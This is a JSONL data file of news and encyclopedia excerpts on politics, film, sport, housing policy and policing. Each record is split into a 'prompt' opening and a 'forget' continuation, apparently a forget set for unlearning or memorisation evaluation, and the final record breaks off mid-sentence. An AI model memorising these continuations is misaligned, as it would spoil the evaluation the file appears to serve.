{"prompt": "At the Islamic Society of Baltimore, Obama urged rejection of policies that \u2018target people because of religion\u2019 \u2013 now congregants are anxious the ban is exactly that Every March since 2014, the Islamic Society of Baltimore has organized a minor pilgrimage for as many as 60 of its congregants to Mecca, Saudi Arabia, the holy city for Muslims and birthplace of the prophet Muhammad. This year, the trip was canceled amid fears that Donald Trump\u2019s travel ban on certain Muslim-majority countries might bar re-entry even to those who call the United States their home. Washington state seeks to expand travel", "forget": "ban injunction to cover revised order Read more \u201cWith the community being comprised of a large number of immigrants, we felt it was important to put things on hold until we had more clarity,\u201d said Saad Malik, a member of the Baltimore area mosque who helps facilitate the annual event. \u201cIt was better to be safe than sorry.\u201d On the Friday before the second version of Trump\u2019s travel ban was to take effect, congregants shuffled in and out of the three-story prayer space in suburban Baltimore. It seemed a distant memory to many that one year ago, at the height of a Republican primary season overrun by hostile rhetoric against Muslims, Barack Obama chose the community for his first visit to a US mosque as president. Although it took Obama until the last year of his presidency to finally mark the occasion, many who attended now look back upon the encounter almost wistfully. Dr Ed Tori, who serves on the Islamic Society of Baltimore\u2019s leadership committee, recalled it as \u201can epic speech that really energized our local community\u201d. In recent months, following Trump\u2019s election, he has instead wondered what fate awaits the 3,000 who worship at the mosque and estimated three million Muslims in the US. \u201cCould it get as bad as us wearing yellow Ms on our shirts and having to go to a camp? Yeah, it could get that bad,\u201d he said. \u201cBut I hope that our legal system and the checks and balances and the surrounding community would prevent that.\u201d Inside the Islamic Society of Baltimore, classrooms have emptied for the weekly service. A loudspeaker carries the sermon of an imam who encourages attendees to be the best version of themselves and give back to their communities. In February 2016, it was the president who offered such"}
{"prompt": "By Scott Stewart Over the past few weeks, I've had people at speaking engagements ask me if I thought the Islamic State or some other militant group is using Ebola as a biological weapon, or if such a group could do so in the future. Such questions and concerns are not surprising given the intense media hype that surrounds the disease, even though only one person has died from Ebola out of the three confirmed cases in the United States. The media hype about the threat posed by the Islamic State to the United States and the West is almost", "forget": "as bad. Both subjects of all this hype were combined into a tidy package on Oct. 20, when the Washington Post published an editorial by columnist Mark Thiessen in which he claimed it would be easy for a group such as the Islamic State to use Ebola in a terrorist attack. Despite Thiessen's claims, using Ebola as a biological warfare agent is much more difficult than it might appear at first blush. The 2014 Outbreak In the past, there have been several outbreaks of Ebola in Africa. Countries included Sudan, Uganda, the Republic of the Congo and the Democratic Republic of the Congo, and several comparatively small outbreaks occurred in Gabon as well. In most cases, people who handled or ate animals infected with the disease started the outbreaks. \"Bushmeat,\" or portions of roasted meat from a variety of wild animals, is considered by many to be a delicacy in Africa, and in a continent where hunger is widespread, it is also a necessity for many hungry people. After several months of medical investigations, epidemiologists believe the current outbreak most likely began when a two-year-old child in Guinea touched or perhaps ate part of an infected animal such as a bat or monkey. The source of the disease means it is highly unlikely that some malevolent actor intentionally caused the latest outbreak. Besides the fact that the current outbreak's cause has been identified as a natural one, even if a transnational militant group such as the Islamic State was able to somehow develop an Ebola weapon, it would have chosen to deploy the weapon against a far more desirable target than a small village in Guinea. We would have seen the militants use their weapon in a location such as New York, Paris or London, or against their local enemies"}
{"prompt": "From Marathon Man to Forrest Gump, we complete a circuit of the best running-themed films. What's your favourite? Let us know below Since the moment Eadweard Muybridge captured a man sprinting in 1887 runners have worn a path across the cinematic landscape. Whether on the pristine oval of an Olympic running track, a dusty patch in a prison rec yard or the damp tarmac of a rural country road, film has documented the sweat and solitude of running in all its pain and glory. Here are 10 of the best. Reading this on mobile? Click here to view the video", "forget": "Opening with the sound of Tom Courtenay's feet thudding against a bleak rural lane, Tony Richardson and Alan Sillitoe's 1962 British New Wave classic is one of the most poetic running films in cinematic history. As Colin Smith, a petty delinquent, Courtenay gives a compelling perfomance in this class-conscious commentary on late-50s British society. After being sent to a reformatory for his part in a bakery robbery, Smith turns to long-distance running to escape the drudgery of his confinement. His talent is spotted by the governor who offers the promise of early release if he runs for the reformatory in a race against a public school. In the final, stunning denouement, Smith's freedom and independence are resolved by his race performance in the most unpredictable way. Marathon Man Reading this on mobile? Click here to view the video \"Is it safe?\" Probably not when you have a Nazi war criminal drilling holes in your teeth. Dustin Hoffman plays Columbia grad student and running obsessive Thomas \"Babe\" Levy, who is hounded by Laurence Olivier's sinister Dr Christian Szell over a briefcase of missing diamonds. An early scene shows Hoffmann pushing himself around Central Park. All that training and his ability to recall the feats of Ethiopian Olympic legend Abebe Bikila winning in Rome and Tokyo give him the endurance to escape his tormentors. Director John Schlesinger intercuts footage of a petrified, bloody Hoffman with the placid Bikila from the Tokyo Olympiad official film to striking effect. Forrest Gump Reading this on mobile? Click here to view the video After childhood sweetheart Jenny Curran (Robin Wright) leaves Tom Hanks's sweet Forrest Gump halfway through Robert Zemeckis's Oscar-laden drama, he sets off on an epic run lasting three years, two months, 14 days, and 16 hours. More than your average Sunday morning wheeze-fest."}
{"prompt": "Despite media figures from the three broadcast networks asserting that because of the extensive media presence on his trip to the Middle East and Europe, any \"mistake,\" \"gaffe,\" or \"misstatement\" by Sen. Barack Obama would be amplified and could have vast negative consequences, none of the networks' evening news programs has reported on Sen. John McCain's recent misstatements regarding a nonexistent Iraq-Pakistan border and the timing of the Anbar Awakening. None of the three broadcast networks' evening news programs -- ABC's World News with Charles Gibson, the CBS Evening News with Katie Couric, and NBC's Nightly News with Brian Williams", "forget": "-- has reported on Sen. John McCain's recent misstatements regarding a nonexistent Iraq-Pakistan border and the timing of the Anbar Awakening. In contrast with the networks' ignoring McCain's misstatements in their nightly news broadcasts, both of which have been made during Sen. Barack Obama's trip abroad, media figures from each network warned of what they said would be the great impact of any \"mistake,\" \"gaffe,\" or \"misstatement\" by Obama during his trip. For instance: In advance of Obama's trip, ABC News chief Washington correspondent George Stephanopoulos said during the July 18 edition of ABC News' Good Morning America that in his trip Obama has \"got to show he can do the job. And above all ... not make any mistakes on this trip. A gaffe could be a killer for Obama.\" Stephanopoulos went on to say that the \"McCain campaign is very frustrated by this\" because \"[a]ll three evening news anchors going over to -- on this foreign soil with Barack Obama.\" He added, \"I think they will look to take quick hits every day and, of course, pounce on any mistake that Barack Obama makes. That would be the big opening for the McCain campaign.\" On the July 18 edition of the CBS Evening News, senior political correspondent Jeff Greenfield said that the \"saturation coverage\" of Obama's trip \"has already led the conservative blogosphere to offer blistering critiques of a liberal media slavishly treating Obama as a pop star, but of course, Katie [Couric], the sheer presence of media in no way guarantees favorable coverage. In some ways, it makes the possibility of a misstep that much more dangerous.\" In response to anchor Katie Couric's question, \"What do you think is the biggest potential landmine for him,\" Greenfield responded: \"You know, I think it's everything from an untoward photo"}
{"prompt": "Dodd-Frank curbed lending and contributes to the ongoing decline in the home ownership rate, but the lending that Dodd-Frank prevents is the toxic lending that caused the housing bubble and crash that pummeled the home ownership rate. For nearly 100 years, Presidential administrations crafted housing policies to maximize the rate of homeownership and the rate of home price appreciation. Both Democrat and Republican administrations touted homeownership as the best investment a middle-class family could make, and home ownership became synonymous with the American Dream. We reached peak American Dream in the early 00s. At the time, the surface conditions appeared", "forget": "great: house prices appreciated rapidly, mortgage equity withdrawal fueled an economic boom, subprime lending provided homeownership opportunities to nearly everyone, and record numbers enjoyed the American Dream of homeownership. Unfortunately, it was all an illusion. The \u201cinnovative\u201d loan products turned out poisonous to millions of borrowers who subsequently lost their homes in foreclosure. In a surprising example of legislators devising an intelligent law that actually fixes the problem, Congress enacted Dodd-Frank, which prevents lenders from making bad loans to unqualified borrowers. Homeownership is not right for everyone, a lesson most policymakers learned from the housing mania. As a society we can\u2019t achieve 100% homeownership, and we shouldn\u2019t pursue policies that seek to maximize homeownership. Many Americans are better served by the freedom of movement that accompanies renting; young people in particular may want to move for career advancement. Further, many Americans lack the financial management skills necessary to sustain homeownership. Those who lack these requisite skills must be excluded because if lenders bestow homeownership to those unable to sustain it \u2014 which they did during the housing mania \u2014 the result is a heart-wrenching price crash and 10 million foreclosures. During the housing boom, everyone was able to ignore the reality that homeownership is a privilege and not a right. Everyone considered themselves a homeowner, even those who didn\u2019t pay for their houses. Diana Olick, Thursday, 28 Apr 2016 After gains in the second half of 2015, the homeownership rate fell to just 63.6 percent, seasonally adjusted, in the first quarter of this year, according to the U.S. Census Bureau. Homeownership hit a high of 69.4 percent in 2004, during one of the biggest housing booms in history. That was also when mortgage lending was arguably at its loosest level in history. The homeownership rate is now just one-tenth of"}
{"prompt": "Days after making all of us *facepalm* by pointing out that 32% of all Americans think the Syrian crisis is part of the \u201cEnd Times,\u201d LifeWay Research has published another result from the same poll and this one\u2019s equally disturbing if not worse: LifeWay Research asked four questions about mental illness as part of a telephone survey of 1,001 Americans conducted Sept. 6-10, 2013. Thirty-five percent agree with the statement, \u201cWith just Bible study and prayer, ALONE, people with serious mental illness like depression, bipolar disorder, and schizophrenia could overcome mental illness.\u201d \u2026 Evangelical, fundamentalist, or born-again Christians (48 percent)", "forget": "agree prayer can overcome mental illness. Only 27 percent of other Americans agree. When I think about how many other obviously ridiculous things evangelicals believe with no evidence whatsoever \u2014 Jesus rose from the dead, people choose to be gay, Sarah Palin would have made a great Vice President \u2014 their gullibility here shouldn\u2019t surprise me at all. But 27% of everybody else? For shame, non-evangelical Americans\u2026 God can\u2019t heal you (even if He makes you feel better) and the Bible doesn\u2019t contain any magic words. There\u2019s always an uproar, and rightfully so, when Christian Science parents pray for their children\u2019s life-threatening illnesses instead of taking them to a doctor. So where\u2019s the uproar here? Mental illness should be treated no differently from other kinds; those who have it deserve care from experts, not imaginary friends. Even Pastor Rick Warren said as much after his son committed suicide several months ago: In spite of America\u2019s best doctors, meds, counselors, and prayers for healing, the torture of mental illness never subsided. Today, after a fun evening together with Kay and me, in a momentary wave of despair at his home, he took his life. Yes, the Warrens prayed. But they also did things that actually had a chance of helping their son. That they couldn\u2019t save his life isn\u2019t a knock on professional help (or the Warrens themselves), but a reminder that mental illness is not a problem that can be so quickly or easily treated. Ed Stetzer, the president of LifeWay Research, adds that this position \u2014 that Jesus and the Bible alone can cure things like depression, bipolar disorder, and schizophrenia \u2014 is one Christians would be wise to avoid: \u2026 he worries some Christians see mental illness as a character flaw rather than a medical condition. Christians will"}
{"prompt": "Stop calling vegan food \u201ccruelty-free\u201d Like us on Facebook: Guest Post by Dr. Frances McCormack \u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2013 Sometimes it\u2019s easy to compartmentalise ethical issues and to forget that abstaining from one moral wrong doesn\u2019t eradicate all others. Many vegans proudly proclaim that their food is \u201ccruelty-free\u201d as though issues of justice and injustice begin and end with our use of nonhuman animals. What is probably an innocent shorthand for \u201cno nonhuman animals were exploited to make this\u201d, though, can appear as a complete disregard for the fact that many of the foods that we commonly consume are products of forced labour,", "forget": "human trafficking, exploitation and suffering. Certainly, there are more issues surrounding nonvegan consumption, and in no way can nonvegans hold the fact that food production systems are exploitative over us as a \u201cgotcha\u201d. Nor does the enormity of the exploitation in which the nonvegan participates by way of their food choices mean that we, as vegans, don\u2019t have to try harder or do better. Cashews are often processed by people who receive caustic burns from the acids that lie between the two layers of the hard shell of the nut. Some cashews are produced in forced-labour camps where the workers are beaten and shocked into harvesting, cleaning, and preparing a vegan staple. Much of the chocolate that we consume is the product of child labour, with reporters finding children as young as five using dangerous tools to harvest cocoa beans. Workers on coffee farms are often housed 40 to 60 to a room without sanitation, working without a signed contract and not receiving a minimum wage. Farm workers are frequently exposed to toxic chemicals, endangering their health and those of their families. And, in fact, an estimated sixty percent of child labour worldwide takes place in the agriculture sector. When we talk about cruelty-free food, then, we\u2019re ignoring the fact that food production is bound up with many forms of injustice. At the very least, we ought to find another shorthand to convey the idea that our food does not contain animal bodies or products. But if we really take seriously the idea of living in a way that minimises harm, then we are morally obliged to educate ourselves on the human rights issues involved in food production, to support ethical and fair-trade companies where we can, and to learn more about where our food choices come from and how"}
{"prompt": "\u2014 Impacts from diverting traffic would be \u201coverall negligible\u201d \u2013 report. \u2014 Sight loss charity says shared areas should not be used. \u2014 Boardwalk option would include walking/cycling conflicts. An alternative solution for the Liffey Cycle Route, Option 8, will cost up to \u20ac3 million extra than the \u2018safer\u2019 Option 7, which diverts cars off Ellis Quay. Both options strive to solve the issue of dealing with walking, cycling, buses and general traffic at pinch-points on the north quays near Smithfield. The Dublin City transport committee on May 3 agreed to request that Dublin City Council management prepares a report", "forget": "on the environmental, financial, and traffic impacts of both Option 7 and 8, by October at the latest. Brendan O\u2019Brien, head of technical services in the transport section of the council, said \u201cThe boardwalk is probably to going to add \u20ac2.5 to \u20ac3 million onto the cost of the project.\u201d He said that the a proposed shared surface between the James Joyce Bridge and the Rory O\u2019More Bridge would include a painted line on the surface separating walking and cycling. This would mean that there would be a 2 metres wide two-way cycle lane against the quay wall, with a 0.85 metre footpath surface between the cycle route and the traffic lane. Both areas would be sub-standard compared to widths outlined in Irish design guidance. The details are outline in a draft drawing available on the council\u2019s website. O\u2019Brien said Option 7 is \u201ca much better option\u201d with less conflicts, but said Option 8 was designed to offer \u201ca way forward.\u201d The boardwalk design would also include cutting into the structure of the James Joyce Bridge. Because of the two proposed boardwalks, Option 8 would likely require an Environmental Impact Assessment, research to test the strength of the quay wall, flood modelling work, and will require a foreshore licence which would need to be approved by the Minister for Agriculture, Food and the Marine. Councillor and groups have mixed reaction Cllr Ray Mc Adam (FG), who was a guest at the meeting, said he did not believe option 7 was the correct route to take. He said: \u201cI understand that it is a significant cycling project, but it is much more than a cycling project, if Option 7 was advanced it would represent a significant change to the management of traffic in this city.\u201d Cllr Mannix Flynn (independent) said he"}
{"prompt": "The 11-time winner is calling time on his F1 career after Sunday's Abu Dhabi Grand Prix, and was centre stage at a special team farewell party hosted in the Yas Marina paddock on Saturday night. After deputy team principal Claire Williams paid tribute to the contribution he had made since joining the outfit in 2014, she announced that as well as presents of a photo album and specially-commissioned cartoon illustrating his career, he will be given his Brazilian GP chassis. The car featured a unique rebranding from title sponsor Martini, which replaced its name with 'Massa' on the car. Right", "forget": "time As Massa struggled to hold back the tears after being told of the gift, he told team members, rival drivers, media, friends and family that he had huge gratitude for everything Williams had done for him but was even more convinced he was quitting F1 at the right time. \"I am so proud of my career, everything I passed through, difficult moments, and great moments,\" he said. \"I think it is a good time, so I am really happy with my decision. \"It is very difficult to decide or stop, because we are young and you need to decide something in the moment that you are still fit. To keep doing and keep working for very long, I am really sure I chose the right moment to do that.\" Final emotions Massa secured a slot in Q3 in his final qualifying \u2013 and he was clearly delighted about the opportunity to show well after ending up 10th on the grid. \"Definitely it is a good thing, so definitely it is always good to be quick,\" he explained. \"It is my last qualifying so it is good to finish with a good performance. \"I had quite a good qualifying. I am happy. So my last real qualifying of my career in F1, and it is always good to be quick. \"I am not stopping because of the speed. I am stopping because of other things \u2013 it is a nice gift. I am concentrated and ready for the race tomorrow and hopefully things will be even better tomorrow.\" Massa insisted he was heading into Sunday's race with no feelings of sadness at all, having been overwhelmed by the support he has received in recent weeks. \"I am not sad. I am happy for my decision anyway,\" he said. \"It is"}
{"prompt": "The long-standing Freda Meats factory on Front Street in Pennsport could become a a mixed-use project with 48 apartments, a ground-floor parking garage, 4 townhouses and 30,000 sq. ft of commercial space. While the concept of transforming this Pennsport block is huge in itself, the major part of the project is a 120 ft. tall LED billboard that would be placed on the roof, in replacement of the outdated and just-too-short to be seen from I-95 structure currently on top of the warehouse. At Tuesday night\u2019s Pennsport Civic Association meeting, the room of 50 area residents expressed concerns mainly about", "forget": "the massive billboard that they believe would affect the neighborhood\u2019s view, even more so than the existing Chickie\u2019s and Pete\u2019s billboard. Throughout the presentation it was emphasized by the development team that without this billboard, the project will not happen. The proposed development is a five-story structure that would take the place of the meat company\u2019s former facility. Since there are still existing residential structures on the Howard Street-side of the facility, along with a pocket park on Reed Street, the developers plan to build around those things, with the addition of four townhouses with two car parking garages along Howard. The apartments with the ground floor parking garage would be accessible through an entrance on Front Street. The current plans include a mix of one bedroom, one bedroom with den and two bedroom, \u201cmarket rate\u201d apartments that would be between 1,000 and 1,300 sq. ft. There will be 48 parking spaces in the garage for the apartments, along with another 8 commercial parking spaces. On the north-side of the development, there would be a separate building with 30,000 sq. ft. for commercial spaces. The 8,000 sq. ft. ground floor space could become an anchor location for a Memphis restaurant looking to come to Philadelphia (Gus\u2019s World Famous Fried Chicken, could it be you?). Architect Brian Newswanger also mentioned the possibility of a gym or a grocery store for the ground floor space. The upper-level commercial spaces would be for use as offices. The problem residents had with the project was not about the apartments, townhouses and commercial space this project would bring to the neighborhood in an attempt to \u201creconnect to the waterfront\u201d, but instead was related to the \u201ceyesore\u201d on the rooftop. The current billboard on the Freda building is 58.5 ft. tall, so the proposed development would"}
{"prompt": "For other uses, see Californication 1999 studio album by Red Hot Chili Peppers Californication is the seventh studio album by American rock band Red Hot Chili Peppers. It was released on June 8, 1999,[2] on Warner Bros. Records and was produced by Rick Rubin. Californication marked the return of John Frusciante, who had previously appeared on Mother's Milk and Blood Sugar Sex Magik, to replace Dave Navarro as the band's guitarist. Frusciante's return was credited with changing the band's sound altogether, producing a notable shift in style from the music recorded with Navarro. The album's subject material incorporated various sexual", "forget": "innuendos commonly associated with the band, but also contained more varied themes than previous outings, including death, contemplations of suicide, California, drugs, globalization, and travel. Californication is the Chili Peppers' most commercially successful studio release internationally, with over 15 million copies sold worldwide,[3] and more than 6 million in the United States alone.[4] As of 2002, the album had sold over 4 million copies in Europe.[5] The record produced several hits for the band, including \"Otherside\", \"Californication\" and the Grammy Award-winning \"Scar Tissue\". Californication peaked at number three on the U.S. Billboard 200. The record marked a significant change in style for the band: Rolling Stone's Greg Tate noted that \"while all previous Chili Peppers projects have been highly spirited, Californication dares to be spiritual and epiphanic\".[6] Another critic, Billboard's Paul Verna, mentioned that the album brought out \"the group's softer, melodic side,\" as opposed to their previous six albums.[7] Background [ edit ] In 1984, the Red Hot Chili Peppers started off as a \"funk-punk band, driven by Kiedis's exuberant rapping and Flea's manic slap-bass\" (Sanneh, 2002). Guitarist John Frusciante, who had joined in 1988 at the age of 18, left the band in the middle of a 1992 tour that promoted their critically acclaimed album Blood Sugar Sex Magik.[8] It took over a year for the band to find a new guitarist with whom to record officially. Dave Navarro, formerly of Jane's Addiction, was invited to join the Chili Peppers after Arik Marshall, who had finished the remaining tour dates for Blood Sugar Sex Magik, was fired.[9] Navarro influenced the band's ensuing album, One Hot Minute, by incorporating various elements of heavy metal and psychedelic rock,[10] which was something for which the Chili Peppers had not previously been notable. Compared to Blood Sugar Sex Magik, One Hot Minute"}
{"prompt": "Shortly after making bond on a 2003 drug case, Leonard Gipson filed a complaint with the Chicago Police Department alleging Sgt. Ronald Watts framed him because he'd refused to pay \"protection\" money. It was an allegation being made with alarming frequency by those living in the South Side housing projects where Watts and his tactical team regularly patrolled. But like the others, Gipson's complaint went nowhere. Four months later, with his drug case pending, Gipson was visiting his girlfriend in the Ida B. Wells complex when he again ran into Watts, who had been notified of the complaint against him.", "forget": "\"Let me see if you can bond off on this,\" Watts said to Gipson before handcuffing and planting 28 grams of heroin on him, Gipson alleged in a court filing. After two years in jail awaiting trial, he pleaded guilty on the advice of his attorney, who noted it was his word against the police. On Tuesday, a court petition filed on behalf of Gipson and 14 others seeks to overturn their criminal drug convictions, alleging that Watts and his crew framed all of them between 2003 and 2008. Watts and an officer under his command were sent to federal prison in 2013 for stealing money from a drug courier who'd been working as an FBI informant. Phil Velasquez/Chicago Tribune In 2013, former Chicago police Sgt. Ronald Watts \u2014 who had operated for years amid a lengthy police Internal Affairs Division probe as well as investigations by the Cook County state\u2019s attorney\u2019s office and FBI \u2014 was sentenced to 22 months on relatively minor federal charges. In 2013, former Chicago police Sgt. Ronald Watts \u2014 who had operated for years amid a lengthy police Internal Affairs Division probe as well as investigations by the Cook County state\u2019s attorney\u2019s office and FBI \u2014 was sentenced to 22 months on relatively minor federal charges. (Phil Velasquez/Chicago Tribune) Since last year, the Chicago Tribune has written several front-page stories detailing the mushrooming scandal over Watts' nearly decadelong run of corruption. Five people have had their convictions thrown out, and two officers who alleged they were blackballed for trying to expose Watts' corruption years ago won a $2 million settlement to their whistleblower lawsuit. Watts has repeatedly been accused of forcing residents and drug dealers alike to pay a \"protection\" tax and putting bogus cases on those who refused to play ball. In case"}
{"prompt": "Hollywood's highest profile feminist gets smacked around by film critics for some surprising reasons. It isn\u2019t easy being a woke celebrity. You try. And you try. Yet it\u2019s never good enough. Katy Perry attempts to turn her grrrl power shtick into a political movement and gets popped by a withering op-ed in The Daily Beast. Will Ferrell does everything humanly possible to support progressive causes. What happens next? he gets dubbed a racist for a comedy co-starring a black superstar. And now there\u2019s Amy Schumer\u2019s \u201cSnatched.\u201d The new comedy stars the uber-progressive comic and Goldie Hawn in a mother-daughter adventure.", "forget": "Schumer\u2019s influence on the film is palpable. She didn\u2019t just famously nix a gun-laden sequence (she\u2019s for gun control in real life). The screenplay also has her fingerprints all over it. RELATED: Incurious Media Ignore Amy Schumer\u2019s Toxic Brand Her character notices, and mocks, how a tribal family in Colombia treats women like second-class citizens. There\u2019s plenty of female empowerment chatter through and through. And it\u2019s the women who must save themselves. It wasn\u2019t enough, apparently. Here\u2019s The New York Times \u201cdestroying\u201d the film\u2019s lack of insensitivity. \u201cSnatched\u201d is one of those movies that subscribes to a dubious homeopathic theory of cultural insensitivity by which the acknowledgment of offensiveness is supposed to prevent anyone from taking offense. The idea is that if you use variations on the phrase \u201cThat\u2019s racist!\u201d as a punch line a few times, nothing else you say or do could possibly be racist. Including, say, populating your movie with dark-skinned thugs with funny accents and killing a few of them for cheap laughs. TheWrap.com hints at outrage but doesn\u2019t go the full scold: The trip is a trap, however, and the women are summarily kidnapped, thrown into a dingy cell, and held for ransom by a ruthless sort named Morgado (Oscar Jaenada), who \u2014 if we\u2019re keeping tabs on Hollywood\u2019s representation of foreign lands \u2014 is the first native character, and one of the only ones, with more than three lines. The Hollywood Reporter hits harder: There\u2019s one extremely bizarre gag involving the manual extraction of a tapeworm, and also some unfortunate cultural stereotyping in the form of gun-toting Colombians with long hair and sinister teeth\u2026. [Director Jonathan] Levine \u2026 isn\u2019t a deft enough director to overcome the optics of yet another film about white characters finding themselves thanks to their experience in a problem-plagued developing"}
{"prompt": "Coming into the rep round I was so disappointed about this being the last City Country clash that I was starting to wonder whether we really needed a rep round at all. After two nights of international rugby league, I'm convinced it needs to be a permanent fixture on the calendar -- to ensure the game's development, and for the sheer entertainment it provides. Daniel Tupou Brendon Thorne/Getty Images If the game is going to grow internationally we need to allow the so called minnow nations -- Samoa, Tonga, Fiji, Papua New Guinea, Cook Islands, Lebanon and Malta -- these", "forget": "opportunities to come together, to pick the best players from the NRL and Super League, and compete against each other in front of a passionate crowd. I think the key to improving the quality of these games is to continue to allow players who are not picked for Australia or New Zealand to play for the countries to which they have blood ties with no fear of losing the ability to play State of Origin or for Australia or New Zealand down the track if that is what they want to do. The problem has long been that young players of Polynesian heritag, or players who could otherwise represent the smaller nations, grow up in Australia with State of Origin their ultimate goal. The old system meant they would give up their hopes of playing State of Origin, and all the status and financial rewards that go with that, if they threw on a Tonga or a Samoa jersey, for example. In a World Cup year those rules are relaxed to ensure all the minnows are as strong as they can be, and I think those allowances need to stay. PNG fans Brendon Thorne/Getty Images The atmosphere at Campbelltown Stadium on Saturday was just incredible. The singing, the tribal dances, the colours, the chanting; it was like an English football match at times. There are so many people in our community who identify with the nations represented, and the passion they feel for their teams was evident through the afternoon and into the night. On Friday night, after playing his 50th Test for Australia, Cameron Smith said that wearing the green and gold was the pinnacle for him as a rugby league player. For a time, there was some doubt over whether the green and gold was as important to"}
{"prompt": "BOSTON \u2014 Perhaps you've heard of Heejun Han, the 22-year-old Korean American from Flushing, Queens, who also happens to be a semi-finalist on American Idol Season 11. To many, he may seem an unlikely star. He's known for his likable personality, but also for shaking his arms before each performance to get the nerves out. Idol judge and Aerosmith leading man Steven Tyler said Han's song selection on Tuesday night \u2014 Robbie Williams' \"Angel\" \u2014 was a miss. But when he opens his mouth to sing \u2014 that\u2019s when US pop star Jennifer Lopez gets a little teary. His voice", "forget": "on Tuesday was \"smooth as silk,\" J Lo said. His initial performance \u201creally impressed and shocked\u201d another judge, music producer Randy Jackson. Even Tyler said previously he thought Han \u201ccould be the next American Idol.\u201d Han isn\u2019t the first Asian American to be on American Idol, but the overwhelming love and attention he\u2019s getting on camera and off makes it seem that way. Most talented Asian-American singers have struggled to break into the US music scene. But even as Asian Americans have trouble getting the attention of US music producers \u2014 a problem many artists blame on racial barriers \u2014 imported K-pop, or Korean pop music, is growing in popularity in the US. K-pop groups have landed on stages like Madison Square Garden and the Letterman show, while most Asian-American artists are self-supported, reaching their audience primarily through YouTube. And many more Asian Americans are making the reverse journey to Asia in search of opportunities to perform. K-pop\u2019s American secret Consider Korea's infatuation with singer Ailee and the more veteran Jay Park, who rank No. 7 and No. 9, respectively, on the \u201cK-pop Hot 100\u201d Billboard music chart. What do these two singers have in common? Both are from the US; Ailee is a New Jersey native, and Jay Park is from Seattle. The trend is nothing new, according to Oliver Wang, a music journalist and assistant professor, who teaches pop culture at California State University Long Beach. \u201cWhen I was in college in the early \u201890s, people would talk about the LA Boyz who found far greater fame and success in Taiwan than they did here,\u201d Wang, 39, said. LA Boyz, a Taiwanese-American boy band formed in 1992, brought American hip-hop from Los Angeles to Taiwan. Solid, a Korean-American trio, did the same but with R&B in Korea, becoming"}
{"prompt": "MSNBC in I want them to hear directly from their ommander n I their I them to Imagine if American troops stationed in Iraq and Afghanistan were formally charged with raping 3,374 local women a year in places like Fallujah, Baghdad, and Kabul.The international outcry would make the one that followed Abu Ghraib look like the mewling of a kitten. Scandal and dishonor would follow the perpetrators to the end of their days and be written tens of pages deep into Google, as well as the history books. The secretary of defense and the president would take abrupt and decisive", "forget": "action to restore order in the ranks and reassert a demand for moral conduct and respect for the rights of women. The courts martial would flow.Instead, because Americans troops stationed around the world are charged with sexually assaulting fellow Americans who are also members of the Armed Forces, rather than civilians, their crimes have for too long been swept under the rug of national security and chain of command.Of 3,374 reported cases of sexual assault in 2012, only 238 convictions were handed down, according to the annual Department of Defense report to Congress released Tuesday. Meanwhile, the Pentagon's anonymous surveys of members of the military led it to estimate that more than 26,000 women and men were sexually assaulted in the U.S. Armed Forces last year. That number represents a sharp jump from the previous year's estimate of 19,000 assaults. (In the wake of the growing attention to the problem of military sexual assault, thanks in part to the release of the documentary Invisible War last year, some of that increase may be due to greater willingness of assault survivors to speak up about what they've experienced -- something the Pentagon says it wants them to do.)The basic problem with the military justice system in cases of sexual assault -- as outlined in horrific detail by the military women and experts featured inand by members of Congress during hearings -- is that it combines the dynamics of the workplace with the problem of crime investigation. A woman who is assaulted and wants redress has to report the crime to her commanding officer -- her boss -- and press charges against one of her colleagues in the military, often someone who also works for her boss, all the while continuing to live near her attacker in a thick soup of overlapping"}
{"prompt": "WASHINGTON (Reuters) - Consensus may be hard to find in Washington these days, but many corporate executives and economists seem to agree on one point: the biggest risk to the world\u2019s largest economy may be its own elected representatives. Down-to-the-wire budget and debt crises, indiscriminate spending cuts and a 16-day government shutdown may not be enough to push the U.S. economy back into recession. But Washington\u2019s policy blunders in recent years have significantly slowed economic growth and kept roughly 2 million people out of work, according to recent estimates. Steep spending cuts are a big reason. But the governance-by-crisis also", "forget": "may be prompting businesses to sit on their cash rather than building new factories, buying more equipment and hiring more workers, some economists say. \u201cIncreasingly I\u2019m of the view that the reason why our economy can\u2019t kick into a higher gear is because of the uncertainty created by Washington,\u201d said Mark Zandi, chief economist of Moody\u2019s Analytics. Congress on Wednesday voted to re-open the government and extend its borrowing authority through February of next year. But the deal did nothing to resolve the underlying disputes that led to the crisis in the first place - leading many to fear that the standoff may play out again in a few months. The plan sets up a forum to try to forge a more permanent budget deal, but few expect it to succeed. \u201cWe have crisis after crisis after crisis and it has a corrosive impact on the economy,\u201d said Greg Valliere, an analyst with Potomac Research Group. \u201cIf you\u2019re a business, how do you make plans in this environment?\u201d Leading chief executives agree. \u201cMost CEOs I speak to in the United States say they\u2019re seeing a slowdown in business because of this,\u201d said Laurence Fink, the CEO of giant asset manager BlackRock Inc, in an interview on Wednesday. \u201cI was on a conference call with many of them, and I heard across the board, a slowdown from the American consumer because of this narrative, so it\u2019s having an impact on our economy already - and it\u2019s going to have an impact on job creation at a time when we need more job creation.\u201d Not all economists agree that the political circus in Washington is hurting the economy in a measurable sense. While worries over the debt ceiling have pushed up the government\u2019s borrowing costs over the past week, those increases are"}
{"prompt": "The Latest: Sen. Ayotte rejects Trump statements about Khans WASHINGTON (AP) \u2014 The Latest on the presidential campaign (all times local): 6:40 p.m. One of the more endangered Republican incumbents says she's appalled that Donald Trump would belittle the parents of a U.S. Army captain killed in Iraq with his insults and disparaging comments about Muslims. Khizr Khan, father of fallen US Army Capt. Humayun S. M. Khan and his wife Ghazala speak during the final day of the Democratic National Convention in Philadelphia , Thursday, July 28, 2016. (AP Photo/J. Scott Applewhite) New Hampshire Sen. Kelly Ayotte said in", "forget": "a statement Sunday that Capt. Humayun Khan made the ultimate sacrifice and was a \"true American hero.\" Ayotte said his family deserves support, respect and gratitude and has every right to express themselves any way they choose. Ayotte she was \"appalled that Donald Trump would disparage them\" and that the GOP presidential nominee \"had the gall to compare his own sacrifices to those of a Gold Star family.\" In the firestorm over Trump's comments, the two Republican leaders in Congress \u2014 Senate Majority Leader Mitch McConnell and House Speaker Paul Ryan \u2014 issued statements praising Capt. Khan. But neither made any mention of Trump or backed off their endorsement of the nominee. Ayotte has said she supports Trump. She is locked in a tough race with New Hampshire Gov. Maggie Hassan. ___ 6:30 p.m. The Senate's Democratic leader, Harry Reid, is calling on the top Republicans in Congress to revoke their endorsements of GOP presidential nominee Donald Trump in the wake of his criticism of the parents of a Muslim American soldier killed in Iraq. Senate Majority 